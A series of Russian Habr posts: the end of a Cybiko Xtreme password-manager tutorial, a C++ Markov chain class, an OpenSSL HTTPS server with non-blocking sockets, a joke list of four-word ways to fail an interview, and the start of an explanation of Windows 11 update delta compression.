demos я нашел множество примеров приложений. Особенно интересными были приложения из директории tutorial, которые шаг за шагом объясняли принципы разработки для Cybiko Xtreme. Все просто, доступно и понятно. ### Написание кода Структура минимального по своему содержимому проекта представлена ниже: **Структура проекта** ``` project res root.inf src source1.c … make.bat ``` Файл root.inf содержит мета-данные приложения, а именно информацию о его типе (приложение, игра или библиотека), версии, минимальной версии операционной системы (прямо как в Android), уникальном имени и т.д. Файл make.bat содержит в себе команды для сборки приложения при помощи sdk. Фактически вся сборка осуществляется командой вызова Cybiko C Compiller: ``` "C:\Program Files (x86)\Cybiko\Cybiko_SDK\bin\vcc" -R0 src/*.c res/*.help res/*.inf -o passwords_master.app ``` Важное замечание: при сборке на Windows 7 для vcc.exe нужно поставить режим совместимости с Windows XP (Service Pack 2), в противном случае возникают проблемы с запуском компилятора. В директории src лежат исходные коды программы. Результатом компиляции является файл \*.app. Для описания разработки всего приложения одной статьи точно не хватит, поэтому опишу лишь самое начало. Если у кого-то возникнут вопросы спрашивайте в комментариях или в личке. Все начинается с инициализации контекста приложения в функции main, вызовом: **Инициализация** ``` long init_module(struct module_t * main_module); ``` После инициализации в структуре main\_module содержатся указатели на графический контекст и текущий процесс приложения. Далее необходимо создать главную форму. Делается это следующим образом: **Создание главной формы** ``` struct cFrameForm * ptr_main_form = malloc(sizeof(struct cFrameForm)); cFrameForm_ctor(ptr_main_form, "Passwords Master", main_module.m_process); ``` Проверим есть ли на файловой системе контейнер паролей: **Проверка наличия контейнера** ``` int check_database() { struct FileInput * ptr_file_input = (struct FileInput *) malloc(sizeof(struct FileInput)); FileInput_ctor_Ex(ptr_file_input, DATABASE_FILE); if (FileInput_is_good(ptr_file_input)) { FileInput_dtor(ptr_file_input, FREE_MEMORY); return 0; } FileInput_dtor(ptr_file_input, FREE_MEMORY); return -1; } ``` Покажем диалоговое окно ввода мастер-пароля. Если контейнер уже существует, то пробуем расшифровать с введенным мастер-паролем. Если контейнера не было, то используем введенный мастер-пароль для создания нового контейнера. **Ввод мастер-пароля** ``` void get_master_password(struct cFrameForm * ptr_form, char * master_password) { // Show dialog enter master password struct cDialog * ptr_pass_dialog; ptr_pass_dialog = (struct cDialog *) malloc(sizeof(struct cDialog)); cDialog_ctor(ptr_pass_dialog, 0, "Enter master password", mbEdit | mbOk | mbCancel | mbs1, 15, ptr_form->CurrApplication); cDialog_SetEditText(ptr_pass_dialog, ""); do { // If pressed cancel - close application if (cDialog_ShowModal(ptr_pass_dialog) == mbOk) cDialog_GetEditText(ptr_pass_dialog, master_password); else { ptr_form->ModalResult = mrQuit; break; } } while (strlen(master_password) == 0); // Releases the dialog cDialog_dtor(ptr_pass_dialog, FREE_MEMORY); } ``` Вся дальнейшая работа приложения строится вокруг цикла обработки сообщений от операционной системы до тех пор, пока не будет закрыта главная форма. **Обработка сообщений** ``` while (ptr_form->ModalResult != mrQuit) { struct Message * ptr_message = cWinApp_get_message(ptr_form->CurrApplication, 0, 1, MSG_USER); switch(ptr_message->msgid) { case MSG_SHUTUP: // Processes the system exit signal. case MSG_QUIT: ptr_form->ModalResult = mrQuit; break; case MSG_KEYDOWN: // Processes keyboard input ptr_key_param = Message_get_key_param(ptr_message); switch(ptr_key_param->scancode) { case KEY_ESC: ... break; case KEY_ENTER: ... break; case KEY_DEL: ... break; default: cFrameForm_proc(ptr_form, ptr_message); } break; default: cWinApp_defproc(module.m_process, ptr_message); } Message_delete(ptr_message); } ``` Результат работы при запуске в эмуляторе представлен ниже: ![](https://habrastorage.org/r/w1560/webt/xr/3a/7l/xr3a7lyulrairexxldzii6tv4fg.png) С полным текстом исходников при желании [можно ознакомиться на github по ссылке.](https://github.com/izemskov/cybiko_passwords_master) ### Запуск на реальном устройстве Как я уже говорил, запуск на реальном устройстве затруднен, поскольку софт для синхронизации Cybiko с компьютером не поддерживает современные операционные системы. По инструкции, найденной [здесь](https://cybiko.net/cybiko-xtreme/), мне удалось синхронизировать Cybiko с Windows 2000, запущенным в Virtual Box. Из нюансов могу отметить то, что программа видела Cybiko только в случае, когда он подключался по USB и автоматически пробрасывался в виртуальную машину. Вероятно поэтому автор инструкции и пишет, что его нужно добавить как постоянное устройство для данной машины в настройках USB Virtual Box. Результат синхронизации на картинке ниже: ![](https://habrastorage.org/r/w1560/webt/ip/hx/9d/iphx9dqdc5ahl82dnjxyo7jb-ta.png) Результат работы моего приложения представлен на следующем видео: ### Заключение С Cybiko Xtreme у меня связано множество прекрасных воспоминаний, и еще раз прикоснуться к этому замечательному устройству было для меня чертовски приятно. Хочется сказать его создателям огромное спасибо за проделанную работу. Также хочется поблагодарить создателей эмулятора, форумов и сайтов по Cybiko, а также мою жену за помощь в съемках видео и редактировании этой статьи. Всем спасибо за внимание!
https://habr.com/ru/post/445686/
null
ru
null
# Разработка класса для работы с цепями Маркова Сегодня я хотел бы поведать вам о написании класса для упрощения работы с цепями Маркова. Прошу под кат. Начальные знания: Представление графов в форме матрицы смежности, знание основных понятий о графах. Знание C++ для практической части. #### Теория > Це́пь Ма́ркова — последовательность случайных событий с конечным или счётным числом исходов, характеризующаяся тем свойством, что, говоря нестрого, при фиксированном настоящем будущее независимо от прошлого. Названа в честь А. А. Маркова (старшего). > > Если говорить простыми словами, то Цепь Маркова — это взвешенный граф. В его вершинах находятся события, а в качестве веса ребра, соединяющего вершины A и B — вероятность того, что после события A последует событие B. О применении цепей Маркова написано довольно много статей, мы же продолжим разработку класса. Приведу пример цепи Маркова: ![](https://habrastorage.org/files/8d3/bab/f6a/8d3babf6ac944729a57423898e13e9e0.JPG) В дальнейшем мы будем рассматривать в качестве примера эту схему. Очевидно, что если из вершины A есть только одно исходящее ребро, то его вес будет равен 1. ##### Обозначения В вершинах у нас находятся события (от A, B, C, D, E...). На ребрах вероятность того, что после i-го события будет событие j > i. Для условности и удобства я пронумеровал вершины (№1, №2 и т.д ). Матрицей будем называть матрицу смежности ориентированного взвешенного графа, которым изображаем цепь Маркова. ( об этом далее ). В данном частном случае эта матрица называется также матрицей переходных вероятностей или просто матрицей перехода. ##### Матричное представление цепи Маркова Представлять цепи Маркова мы будем при помощи матрицы, именно той матрицы смежности, которой представляем графы. Напомню: > Матрица смежности графа G с конечным числом вершин n (пронумерованных числами от 1 до n) — это квадратная матрица A размера n, в которой значение элемента aij равно числу рёбер из i-й вершины графа в j-ю вершину. > > Подробнее о матрицах смежности — в курс дискретной математики. В нашем случае матрица будет иметь размер 10x10, напишем ее: `0 50 0 0 0 0 50 0 0 0 0 0 80 20 0 0 0 0 0 0 0 0 0 0 100 0 0 0 0 0 0 0 0 0 100 0 0 0 0 0 0 0 0 0 0 100 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 70 30 0 0 0 0 0 0 0 0 0 0 100 0 0 0 0 0 0 0 0 0 100 0 0 0 0 0 100 0 0 0 0` ##### Идея Посмотрите внимательнее на нашу матрицу. В каждой строке у нас есть ненулевые значения в тех столбцах, чей номер совпадает с последующим событием, а само ненулевое значение — вероятность, что это событие наступит. Таким образом, мы имеем значения вероятности наступления события с номером, равным номеру **столбца** после события с номером, равным **строки**. Те кто знают теорию вероятностей могли догадаться, что каждая строка — это функция распределения вероятностей. #### Алгоритм обхода цепи Маркова 1) инициализируем начальную позицию k нулевой вершиной. 2) Если вершина не конечная, то генерируем число m от 0...n-1 на основе распределения вероятности в строке k матрицы, где n — число вершин, а m — номер следующего события (!). Иначе выходим 3) Номер текующей позиции k приравниваем к номеру сгенерированной вершине 4) На шаг 2 Замечание: вершина конечная если распределение вероятностей нулевое (см. 6-ю строку в матрице). Довольно изящный алгоритм, так ведь? #### Реализация В эту статью я хочу отдельно вынести код реализации описанного обхода. Инициализация и заполнение цепи Маркова не несут особого интереса (полный код см. в конце). **Реализация алгоритма обхода** ``` template Element \*Markov::Next(int StartElement = -1) { if (Markov::Initiated) // если матрица смежности создана { if (StartElement == -1) // если стартовый элемент по умолчанию StartElement = Markov::Current; // то продолжаем ( в конструкторе Current = 0 ) std::random\_device rd; std::mt19937 gen(rd()); std::discrete\_distribution<> dicr\_distr(Markov::AdjacencyMatrix.at(Current).begin(), Markov::AdjacencyMatrix.at(Current).end()); // инициализируем контейнер для генерации числа на основе распределения вероятности int next = dicr\_distr(gen); // генерируем следующую вершину if (next == Markov::size()) // тонкости работы генератора, если распределение вероятностей нулевое, то он возвращает количество элементов return NULL; Markov::Current = next; // меняем текущую вершину return &(Markov::elems.at(next)); // возвращаем значение в вершине } return NULL; } ``` Данный алгоритм выглядит особенно просто благодаря особенностям контейнера *discrete\_distribution*. На словах описать, как работает этот контейнер довольно сложно, поэтому возьмем в пример 0-ю строку нашей матрицы: *0 50 0 0 0 0 50 0 0 0* В результате работы генератора он вернет либо 1, либо 6 с вероятностями в 0.5 для каждой. То есть возвращает номер столбца ( что эквивалентно номеру вершины в цепи ) куда следует продолжить движение дальше. Пример программы, которая использует класс: **Реализация программы, которая делает обход цепи Маркова из примера** ``` #include #include "Markov.h" #include #include using namespace std; int main() { Markov chain; ofstream outs; outs.open("out.txt"); ifstream ins; ins.open("matrix.txt"); int num; double Prob = 0; (ins >> num).get(); // количество вершин string str; for (int i = 0; i < num; i++) { getline(ins, str); chain.AddElement(str); // добавляем вершину } if (chain.InitAdjacency()) // инициализируем матрицу нулями { for (int i = 0; i < chain.size(); i++) { for (int j = 0; j < chain.size(); j++) { (ins >> Prob).get(); if (!chain.PushAdjacency(i, j, Prob)) // вводим матрицу { cerr << "Adjacency matrix write error" << endl; } } } outs << chain.At(0) << " "; // выводим 0-ю вершину for (int i = 0; i < 20 \* chain.size() - 1; i++) // генерируем 20 цепочек { string \*str = chain.Next(); if (str != NULL) // если предыдущая не конечная outs << (\*str).c\_str() << " "; // выводим значение вершины else { outs << std::endl; // если конечная, то начинаем с начала chain.Current = 0; outs << chain.At(0) << " "; } } chain.UninitAdjacency(); // понятно } else cerr << "Can not initialize Adjacency matrix" << endl;; ins.close(); outs.close(); cin.get(); return 0; } ``` Пример вывода, который генерирует программа: **Вывод**`A B D F Z A C G T Z A C G T Z A B D F Z A C H T Z A B D F Z A C G T Z A C G T Z A C G T Z A B D F Z A B D F Z A C G T Z A B D F Z A B D F Z A C H T Z A C G T Z A C H T Z A C H T Z A B E F Z A C H T Z A B E F Z A C G T Z A C G T Z A C H T Z A B D F Z A B D F Z A C H T Z A B D F Z A C G T Z A B D F Z A B D F Z A B D F Z A B D F Z A C G T Z A B D F Z A C H T Z A C H T Z A B D F Z A C G T Z A B D F Z` Мы видим, что алгоритм работает вполне сносно. В качестве значений можем указывать что угодно. Из иллюстрации цепи Маркова видно, что A B D F Z наиболее вероятная последовательность событий. Она же чаще всего и проявляется. Событие E встречается реже всего Конфигурационный файл, использовавшийся в примере: **файл**`10 A B D E F Z C G H T 0 50.0 0 0 0 0 50 0 0 0 0 0 80.0 20.0 0 0 0 0 0 0 0 0 0 0 100.0 0 0 0 0 0 0 0 0 0 100.0 0 0 0 0 0 0 0 0 0 0 100.0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 70.0 30.0 0 0 0 0 0 0 0 0 0 0 100.0 0 0 0 0 0 0 0 0 0 100 0 0 0 0 0 100.0 0 0 0 0` #### Заключение Таким образом мы видим, что к цепям Маркова применимы алгоритмы на графах и выглядят эти алгоритмы довольно красиво. Если кто-то знает более лучшую реализацию, то прошу отписываться в комментариях. Полный код и readme на гитхабе: [код](https://github.com/solidminus/MarkovChains/) Всем спасибо за внимание.
https://habr.com/ru/post/302392/
null
ru
null
# Кроссплатформенный https сервер с неблокирующими сокетами. Часть 2 Эта статья является продолжением статей: [Простейший кросcплатформенный сервер с поддержкой ssl](http://habrahabr.ru/post/211474/) [Кроссплатформенный https сервер с неблокирующими сокетами](http://habrahabr.ru/post/211661/) В этих статьях я постепенно из простенького примера, входящего в состав OpenSSL стараюсь сделать полноценный однопоточный веб-сервер. В предыдущей статье я «научил» сервер принимать соединение от одного клиента и отсылать обратно html страницу с заголовками запроса. Сегодня я исправлю код сервера так, чтобы он мог обрабатывать соединения от произвольного количества клиентов в одном потоке. Для начала я разобью код на два файла: serv.cpp и server.h При этом файл serv.cpp будет содержать такой вот «высокоинтелектуальный» код: ``` #include "server.h" int main() { server::CServer(); return 0; } ``` Да, можете пинать меня ногами, но я все равно писал, пишу и буду писать код в заголовочных файлах если мне это удобно. За то я собственно и люблю с++, что он дает свободу выбора, но это отдельный разговор… Переходим к файлу server.h В его начало я перенес все заголовки, макросы и определения, которые раньше были в serv.cpp, и добавил еще пару заголовков из STL: ``` #ifndef _SERVER #define _SERVER #include #include #include #include #include #ifndef WIN32 #include #include #include #include #include #else #include #include #pragma comment(lib, "ws2\_32.lib") #endif #include /\* SSLeay stuff \*/ #include #include #include #include #include #include #include #include #include #include #ifdef WIN32 #define SET\_NONBLOCK(socket) \ if (true) \ { \ DWORD dw = true; \ ioctlsocket(socket, FIONBIO, &dw); \ } #else #include #define SET\_NONBLOCK(socket) \ if (fcntl( socket, F\_SETFL, fcntl( socket, F\_GETFL, 0 ) | O\_NONBLOCK ) < 0) \ printf("error in fcntl errno=%i\n", errno); #define closesocket(socket) close(socket) #define Sleep(a) usleep(a\*1000) #define SOCKET int #define INVALID\_SOCKET -1 #endif /\* define HOME to be dir for key and cert files... \*/ #define HOME "./" /\* Make these what you want for cert & key files \*/ #define CERTF HOME "ca-cert.pem" #define KEYF HOME "ca-cert.pem" #define CHK\_ERR(err,s) if ((err)==-1) { perror(s); exit(1); } ``` Дальше создаем сначала классы CServer и CClient внутри namespace server: ``` using namespace std; namespace server { class CClient { //Дескриптор клиентского сокета SOCKET m_hSocket; //В этом буфере клиент будет хранить принятые данные vector m\_vRecvBuffer; //В этом буфере клиент будет хранить отправляемые данные vector m\_vSendBuffer; //Указатели для взаимодействия с OpenSSL SSL\_CTX\* m\_pSSLContext; SSL\* m\_pSSL; //Нам не понадобится конструктор копирования для клиентов explicit CClient(const CClient &client) {} public: CClient(const SOCKET hSocket) : m\_hSocket(hSocket), m\_pSSL(NULL), m\_pSSLContext(NULL) {} ~CClient() { if(m\_hSocket != INVALID\_SOCKET) closesocket(m\_hSocket); if (m\_pSSL) SSL\_free (m\_pSSL); if (m\_pSSLContext) SSL\_CTX\_free (m\_pSSLContext); } }; class CServer { //Здесь сервер будет хранить всех клиентов map > m\_mapClients; //Нам не понадобится конструктор копирования для сервера explicit CServer(const CServer &server) {} public: CServer() {} }; } #endif ``` Как видите, это лишь заготовка для нашего сервера. Начнем потихоньку наполнять эту заготовку кодом, большая часть которого уже есть в [предыдущей статье](http://habrahabr.ru/post/211661/). Для каждого клиента инициируется свой контекст SSL, очевидно делать это нужно в конструкторе класса CClient ``` CClient(const SOCKET hSocket) : m_hSocket(hSocket), m_pSSL(NULL), m_pSSLContext(NULL) { #ifdef WIN32 const SSL_METHOD *meth = SSLv23_server_method(); #else SSL_METHOD *meth = SSLv23_server_method(); #endif m_pSSLContext = SSL_CTX_new (meth); if (!m_pSSLContext) ERR_print_errors_fp(stderr); if (SSL_CTX_use_certificate_file(m_pSSLContext, CERTF, SSL_FILETYPE_PEM) <= 0) ERR_print_errors_fp(stderr); if (SSL_CTX_use_PrivateKey_file(m_pSSLContext, KEYF, SSL_FILETYPE_PEM) <= 0) ERR_print_errors_fp(stderr); if (!SSL_CTX_check_private_key(m_pSSLContext)) fprintf(stderr,"Private key does not match the certificate public key\n"); } ``` Инициализацию библиотек, создание и привязку слушающего сокета перенесем с минимальными изменениями в конструктор CServer: ``` CServer() { #ifdef WIN32 WSADATA wsaData; if ( WSAStartup( MAKEWORD( 2, 2 ), &wsaData ) != 0 ) { printf("Could not to find usable WinSock in WSAStartup\n"); return; } #endif SSL_load_error_strings(); SSLeay_add_ssl_algorithms(); /* ----------------------------------------------- */ /* Prepare TCP socket for receiving connections */ SOCKET listen_sd = socket (AF_INET, SOCK_STREAM, 0); CHK_ERR(listen_sd, "socket"); SET_NONBLOCK(listen_sd); struct sockaddr_in sa_serv; memset (&sa_serv, '\0', sizeof(sa_serv)); sa_serv.sin_family = AF_INET; sa_serv.sin_addr.s_addr = INADDR_ANY; sa_serv.sin_port = htons (1111); /* Server Port number */ int err = ::bind(listen_sd, (struct sockaddr*) &sa_serv, sizeof (sa_serv)); CHK_ERR(err, "bind"); /* Receive a TCP connection. */ err = listen (listen_sd, 5); CHK_ERR(err, "listen"); } ``` Дальше в этом же конструкторе я предлагаю принимать входящие TCP соединения. Мне никто до сих пор не привел ни одного аргумента против, поэтому слушать TCP соединения мы будем в бесконечном цикле, как и в предыдущей статье. После каждого вызова accept мы можем что-нибудь сделать с вновь подключившимся и с уже подключенными клиентами, вызвав callback функцию. Добавим в конструктор CServer после функции listen код: ``` while(true) { Sleep(1); struct sockaddr_in sa_cli; size_t client_len = sizeof(sa_cli); #ifdef WIN32 const SOCKET sd = accept (listen_sd, (struct sockaddr*) &sa_cli, (int *)&client_len); #else const SOCKET sd = accept (listen_sd, (struct sockaddr*) &sa_cli, &client_len); #endif Callback(sd); } ``` А сразу после конструктора, собственно callback функцию: ``` private: void Callback(const SOCKET hSocket) { if (hSocket != INVALID_SOCKET) m_mapClients[hSocket] = shared_ptr(new CClient(hSocket)); //Добавляем нового клиента auto it = m\_mapClients.begin(); while (it != m\_mapClients.end()) //Перечисляем всех клиентов { if (!it->second->Continue()) //Делаем что-нибудь с клиентом m\_mapClients.erase(it++); //Если клиент вернул false, то удаляем клиента else it++; } } ``` На этом код класса CServer закончен! Вся остальная логика приложения будет в классе CClient. **Важно заметить**, что для критичных к скорости проектов, вместо перебора всех клиентов в цикле, надо перебирать только тех клиентов, чьи сокеты готовы для чтения или записи. Сделать этот перебор легко с помощью функций select в Windows или epoll в Linux. **Я покажу как это делается в следующей статье,** А пока (рискуя опять нарваться на критику) все таки ограничусь простым циклом. Переходим к основной «рабочей лошадке» нашего сервера: к классу CClient. Класс CClient должен хранить в себе не только информацию о своем сокете, но и информацию о том, на каком этапе находится его взаимодействие с сервером. Добавим в определение класса CClient следующий код: ``` private: //Перечисляем все возможные состояния клиента. При желании можно добавлять новые. enum STATES { S_ACCEPTED_TCP, S_ACCEPTED_SSL, S_READING, S_ALL_READED, S_WRITING, S_ALL_WRITED }; STATES m_stateCurrent; //Здесь хранится текущее состояние //Функции для установки и получения состояния void SetState(const STATES state) {m_stateCurrent = state;} const STATES GetState() const {return m_stateCurrent;} public: //Функция для обработки текужего состояния клиента const bool Continue() { if (m_hSocket == INVALID_SOCKET) return false; switch (GetState()) { case S_ACCEPTED_TCP: break; case S_ACCEPTED_SSL: break; case S_READING: break; case S_ALL_READED: break; case S_WRITING: break; case S_ALL_WRITED: break; default: return false; } return true; } ``` Здесь Continue() это пока только функция-заглушка, чуть ниже мы ее научим выполнять все действия с подключенным клиентом. В конструкторе изменим: ``` CClient(const SOCKET hSocket) : m_hSocket(hSocket), m_pSSL(NULL), m_pSSLContext(NULL) ``` на ``` CClient(const SOCKET hSocket) : m_hSocket(hSocket), m_pSSL(NULL), m_pSSLContext(NULL), m_stateCurrent(S_ACCEPTED_TCP) ``` В зависимости от текущего состояния, клиент вызывает разные функции. Договоримся, что состояния клиента можно менять только в конструкторе и в функции Continue(), это немного увеличит размер кода, но зато сильно облегчит его отладку. Итак первое состояние, которое клиент получает при создании в конструкторе: S\_ACCEPTED\_TCP. Напишем функцию, которая будет вызываться клиентом до тех пор, пока у него это состояние: Для этого строки: ``` case S_ACCEPTED_TCP: break; ``` изменим на следующие: ``` case S_ACCEPTED_TCP: { switch (AcceptSSL()) { case RET_READY: printf ("SSL connection using %s\n", SSL_get_cipher (m_pSSL)); SetState(S_ACCEPTED_SSL); break; case RET_ERROR: return false; } return true; } ``` А так же добавим следующий код в класс CClient: ``` private: enum RETCODES { RET_WAIT, RET_READY, RET_ERROR }; const RETCODES AcceptSSL() { if (!m_pSSLContext) //Наш сервер предназначен только для SSL return RET_ERROR; if (!m_pSSL) { m_pSSL = SSL_new (m_pSSLContext); if (!m_pSSL) return RET_ERROR; SSL_set_fd (m_pSSL, m_hSocket); } const int err = SSL_accept (m_pSSL); const int nCode = SSL_get_error(m_pSSL, err); if ((nCode != SSL_ERROR_WANT_READ) && (nCode != SSL_ERROR_WANT_WRITE)) return RET_READY; return RET_WAIT; } ``` Теперь функция AcceptSSL() будет вызываться клиентом до тех пор, пока не произойдет зашифрованное подключение или пока не возникнет ошибка. 1. В случае ошибки функция CClient::AcceptSSL() вернет код RET\_ERROR в вызваашую ее функцию CClient::Continue(), которая в этом случае вернет false вызвавшей ее функции CServer::Callback, которая в этом случае удалит клиента из памяти сервера. 2. В случае удачного подключения функция CClient::AcceptSSL() вернет код RET\_READY в вызвавшую ее функцию CClient::Continue(), которая в этом случае изменит состояние клиента на S\_ACCEPTED\_SSL. Теперь добавим функцию обработки состояния S\_ACCEPTED\_SSL. Для этого строки ``` case S_ACCEPTED_SSL: break; ``` исправим на следующие: ``` case S_ACCEPTED_SSL: { switch (GetSertificate()) { case RET_READY: SetState(S_READING); break; case RET_ERROR: return false; } return true; } ``` И добавим в CClient функцию: ``` const RETCODES GetSertificate() { if (!m_pSSLContext || !m_pSSL) //Наш сервер предназначен только для SSL return RET_ERROR; /* Get client's certificate (note: beware of dynamic allocation) - opt */ X509* client_cert = SSL_get_peer_certificate (m_pSSL); if (client_cert != NULL) { printf ("Client certificate:\n"); char* str = X509_NAME_oneline (X509_get_subject_name (client_cert), 0, 0); if (!str) return RET_ERROR; printf ("\t subject: %s\n", str); OPENSSL_free (str); str = X509_NAME_oneline (X509_get_issuer_name (client_cert), 0, 0); if (!str) return RET_ERROR; printf ("\t issuer: %s\n", str); OPENSSL_free (str); /* We could do all sorts of certificate verification stuff here before deallocating the certificate. */ X509_free (client_cert); } else printf ("Client does not have certificate.\n"); return RET_READY; } ``` Эта функция, в отличие от предыдущей, вызовется всего один раз и вернет в CClient::Continue либо RET\_ERROR либо RET\_READY. Соответственно CClient::Continue вернет либо false, либо изменит состояние клиента на S\_READING. Дальше все аналогично: изменим код ``` case S_READING: break; case S_ALL_READED: break; case S_WRITING: break; ``` на такой: ``` case S_READING: { switch (ContinueRead()) { case RET_READY: SetState(S_ALL_READED); break; case RET_ERROR: return false; } return true; } case S_ALL_READED: { switch (InitRead()) { case RET_READY: SetState(S_WRITING); break; case RET_ERROR: return false; } return true; } case S_WRITING: { switch (ContinueWrite()) { case RET_READY: SetState(S_ALL_WRITED); break; case RET_ERROR: return false; } return true; } ``` И добавляем соответствующие функции обработки состояний: ``` const RETCODES ContinueRead() { if (!m_pSSLContext || !m_pSSL) //Наш сервер предназначен только для SSL return RET_ERROR; unsigned char szBuffer[4096]; const int err = SSL_read (m_pSSL, szBuffer, 4096); //читаем данные от клиента в буфер if (err > 0) { //Сохраним прочитанные данные в переменной m_vRecvBuffer m_vRecvBuffer.resize(m_vRecvBuffer.size()+err); memcpy(&m_vRecvBuffer[m_vRecvBuffer.size()-err], szBuffer, err); //Ищем конец http заголовка в прочитанных данных const std::string strInputString((const char *)&m_vRecvBuffer[0]); if (strInputString.find("\r\n\r\n") != -1) return RET_READY; return RET_WAIT; } const int nCode = SSL_get_error(m_pSSL, err); if ((nCode != SSL_ERROR_WANT_READ) && (nCode != SSL_ERROR_WANT_WRITE)) return RET_ERROR; return RET_WAIT; } const RETCODES InitRead() { if (!m_pSSLContext || !m_pSSL) //Наш сервер предназначен только для SSL return RET_ERROR; //Преобразуем буфер в строку для удобства const std::string strInputString((const char *)&m_vRecvBuffer[0]); //Формируем html страницу с ответом сервера const std::string strHTML = "Hello! Your HTTP headers is: ---------------------------- ``` " + strInputString.substr(0, strInputString.find("\r\n\r\n")) + " ``` "; //Добавляем в начало ответа http заголовок std::ostringstream strStream; strStream << "HTTP/1.1 200 OK\r\n" << "Content-Type: text/html; charset=utf-8\r\n" << "Content-Length: " << strHTML.length() << "\r\n" << "\r\n" << strHTML.c_str(); //Запоминаем ответ, который хотим послать m_vSendBuffer.resize(strStream.str().length()); memcpy(&m_vSendBuffer[0], strStream.str().c_str(), strStream.str().length()); return RET_READY; } const RETCODES ContinueWrite() { if (!m_pSSLContext || !m_pSSL) //Наш сервер предназначен только для SSL return RET_ERROR; int err = SSL_write (m_pSSL, &m_vSendBuffer[0], m_vSendBuffer.size()); if (err > 0) { //Если удалось послать все данные, то переходим к следующему состоянию if (err == m_vSendBuffer.size()) return RET_READY; //Если отослали не все данные, то оставим в буфере только то, что еще не послано vector vTemp(m\_vSendBuffer.size()-err); memcpy(&vTemp[0], &m\_vSendBuffer[err], m\_vSendBuffer.size()-err); m\_vSendBuffer = vTemp; return RET\_WAIT; } const int nCode = SSL\_get\_error(m\_pSSL, err); if ((nCode != SSL\_ERROR\_WANT\_READ) && (nCode != SSL\_ERROR\_WANT\_WRITE)) return RET\_ERROR; return RET\_WAIT; } ```
https://habr.com/ru/post/211853/
null
ru
null
# 4 слова ``` #пятничное ``` В нашей компании на данный момент есть три вакансии: — [Frontend-разработчик](https://moikrug.ru/vacancies/1000037138) — [QA Инженер](https://moikrug.ru/vacancies/1000034636) — [Младший UX/UI-дизайнер](https://moikrug.ru/vacancies/1000037911) И почти всю эту неделю мы проводим в нашем офисе собеседования кандидатов, некоторые из которых получаются довольно забавными. Например, один кандидат спросил, во что мы играем по локалке. На фоне этого в паблике ВК решили устроить небольшую [развлекуху](https://vk.com/habr?w=wall-20629724_1041966): «*Провалите собеседование в компанию мечты (должность на выбор: фронтендер / бэкендер / дизайнер / сисадмин) с помощью 4 слов?*». С первых минут в комментариях стало смешно — мы даже решили сделать небольшую подборку. > Давенько программирую на HTML > В CSS играл давно > Я fullstack js developer > Массивы начинаются с единицы > go to — это здорово! > Писать тесты — не моё > Unit тесты — трата времени > Кому нужны эти комментарии? > Тестовые задания только платно > Я читал трудовой кодекс > Пиратский софт карается законом > > *(на сисадмина в мелкую контору с большими требованиями к софту)* > Вайфай это же роутер > 1С даже лучше C++ > Бэкап — акт проявления трусости > Блокчейн дип машин лернинг > Я сейчас пишу соцсеть > Я люблю компанию Оракл! *(на собеседовании в Гугл)* > Moi uroven inglisha — advanced > Изи изи рил ток > Пьяным я программирую лучше > Не работаю по выходным > Можно с отпуска начать? > Я только закончил институт > Мне просто нужен опыт > Так это не орифлейм? > Видел порно, начинающееся так же > Мои услуги стоят больше > Я вам завтра перезвоню > Я у вас работала Пишите свои варианты в комментариях. А ещё ждём ваших резюме — у нас здорово и есть чем заняться. Всем хороших выходных!
https://habr.com/ru/post/342110/
null
ru
null
# Как Windows 11 уменьшила размер кумулятивных обновлений на 40% ![](https://habrastorage.org/r/w1560/webt/ax/kw/e1/axkwe1jddrkvpjq_zt2hgaryv-a.png) Раз в месяц Microsoft выпускает кумулятивное обновление Windows, которое включают в себя все предыдущие. То есть для приведения системы в актуальное состояние требуется установка единственного апдейта. Учитывая огромное количество исправлений в Windows, кумулятивное обновление без оптимизации может сильно вырасти в размере, что неприемлемо. Например, его не смогут скачать пользователи с медленным подключением к интернету, а только в США таких 20%. Поэтому уменьшение размера обновлений — приоритетная задача. Теперь для неё нашлось решение. Если вкратце, то раньше каждое обновление включало в себя прямую дельту изменений системы, а также обратную дельту для приведения системы к базовой RTM, чтобы установить новую прямую дельту через месяц. Однако выяснилось, что обратную дельту можно вычислить в процессе установки обновления. Теперь Microsoft намерена запатентовать этот алгоритм. Проблема с большим размером обновлений Windows ============================================== С переходом сотрудников на удалённую работу большой размер апдейтов стал создавать проблемы для многих компаний. У них нет скоростного интранета. Сотрудники подключаются к корпоративному VPN и скачивают обновления через домашний интернет. Для оперативного распространения патчей безопасности очень важно свести к минимуму сетевой трафик, чтобы обеспечить защиту удалённых сотрудников, где бы они ни находились. В этой статье рассказывается о новой технологии сжатия, которая позволила уменьшить размер кумулятивных обновлений в Windows 11 на 40% ([аналогичная система реализована в Windows 10](https://docs.microsoft.com/en-us/windows/deployment/update/psfxwhitepaper)). Цели ==== Разработчикам была поставлена задача уменьшить размер обновлений Windows 11 со следующими условиями: * Уменьшить размер трафика * Не увеличивать время установки * Сохранить совместимость со всеми каналами распространения без каких-либо изменений конфигурации, то есть без лишней головной боли для сисадминов Как выпускаются новые версии Windows ==================================== Windows 10 с версии 1809 использовала одновременно [прямое и обратное разностное сжатие](https://docs.microsoft.com/en-us/windows/deployment/update/psfxwhitepaper), где учитываются прямая и обратная разности (дельты) между тремя версиями системы: текущая ![$V_N$](https://habrastorage.org/getpro/habr/formulas/939/488/808/939488808fd30b361a24402a7d4d0482.svg), целевая ![$V_R$](https://habrastorage.org/getpro/habr/formulas/def/232/526/def232526cb2ab941630ab4c5dd45d0d.svg) и базовая исходная ![$V_0$](https://habrastorage.org/getpro/habr/formulas/499/0e4/870/4990e48704b3099f5758aebde06a1818.svg). ![](https://habrastorage.org/r/w1560/webt/fe/r6/yk/fer6ykiulqd7dqria03zwag83_w.png) Таким образом, в качестве промежуточного состояния Windows возвращается к своей базовой версии, поэтому с каждым обновлением поставлялись прямая и обратная дельты. Хотя прямая и обратная дельты симметричны по функции, их содержимое в значительной степени отличается. Это значит, что двунаправленная дельта, которая содержит и новые, и старые данные, не намного меньше по размеру, чем [старые файлы Patch Storage Files (PSF)](https://docs.microsoft.com/en-us/windows/deployment/update/psfxwhitepaper) в версиях Windows 10 1803 и старше, куда записывались прямые дельты для всех возможных сочетаний ![$V_N$](https://habrastorage.org/getpro/habr/formulas/939/488/808/939488808fd30b361a24402a7d4d0482.svg) и ![$V_R$](https://habrastorage.org/getpro/habr/formulas/def/232/526/def232526cb2ab941630ab4c5dd45d0d.svg), то есть без использования обратных дельт и промежуточной базы 